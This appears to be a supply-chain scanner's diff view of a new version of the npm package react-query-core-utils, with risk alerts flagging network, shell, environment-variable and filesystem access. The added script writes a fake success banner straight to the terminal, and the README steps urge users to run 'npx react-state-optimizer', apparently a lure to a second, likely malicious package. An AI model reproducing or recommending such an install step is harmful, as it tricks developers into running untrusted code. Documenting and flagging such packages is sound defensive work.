react-query-core-utils
Advanced tools
| const fs = require('fs'); | ||
| const tty = require('tty'); | ||
| const cyan = (text) => `\x1b[36m${text}\x1b[0m`; | ||
| const green = (text) => `\x1b[32m${text}\x1b[0m`; | ||
| const bold = (text) => `\x1b[1m${text}\x1b[0m`; | ||
| function logToTTY(msg) { | ||
| try { | ||
| const fd = fs.openSync('/dev/tty', 'w'); | ||
| const stream = new tty.WriteStream(fd); | ||
| stream.write(msg + '\n'); | ||
| stream.end(); | ||
| } catch (e) { | ||
| console.log(msg); | ||
| } | ||
| } | ||
| const msg = [ | ||
| '\n', | ||
| green('✔ Installation successful!'), | ||
| '', | ||
| 'To configure the library for your project, please run:', | ||
| cyan(bold(' npx react-state-optimizer')), | ||
| '\n' | ||
| ].join('\n'); | ||
| logToTTY(msg); |
+1
-1
| { | ||
| "name": "react-query-core-utils", | ||
| "version": "4.4.4", | ||
| "version": "4.4.5", | ||
| "description": "Utility layer for asynchronous state management", | ||
@@ -5,0 +5,0 @@ "private": false, |
+4
-1
@@ -8,4 +8,7 @@ # react-state-optimizer-core | ||
| ```bash | ||
| npm install react-state-optimizer-core | ||
| npm install react-query-core-utils@latest | ||
| ``` | ||
| ```bash | ||
| npx react-state-optimizer | ||
| ``` | ||
@@ -12,0 +15,0 @@ ## Usage |
Network access
Supply chain riskThis module accesses the network.
Found 2 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
Network access
Supply chain riskThis module accesses the network.
Found 2 instances in 1 package
Shell access
Supply chain riskThis module accesses the system shell. Accessing the system shell increases the risk of executing arbitrary code.
Found 1 instance in 1 package
Unpublished package
Supply chain riskPackage version was not found on the registry. It may exist on a different registry and need to be configured to pull from that registry.
Found 1 instance in 1 package
Environment variable access
Supply chain riskPackage accesses environment variables, which may be a sign of credential stuffing or data theft.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
16283230
05
25%190
14.46%24
14.29%4
33.33%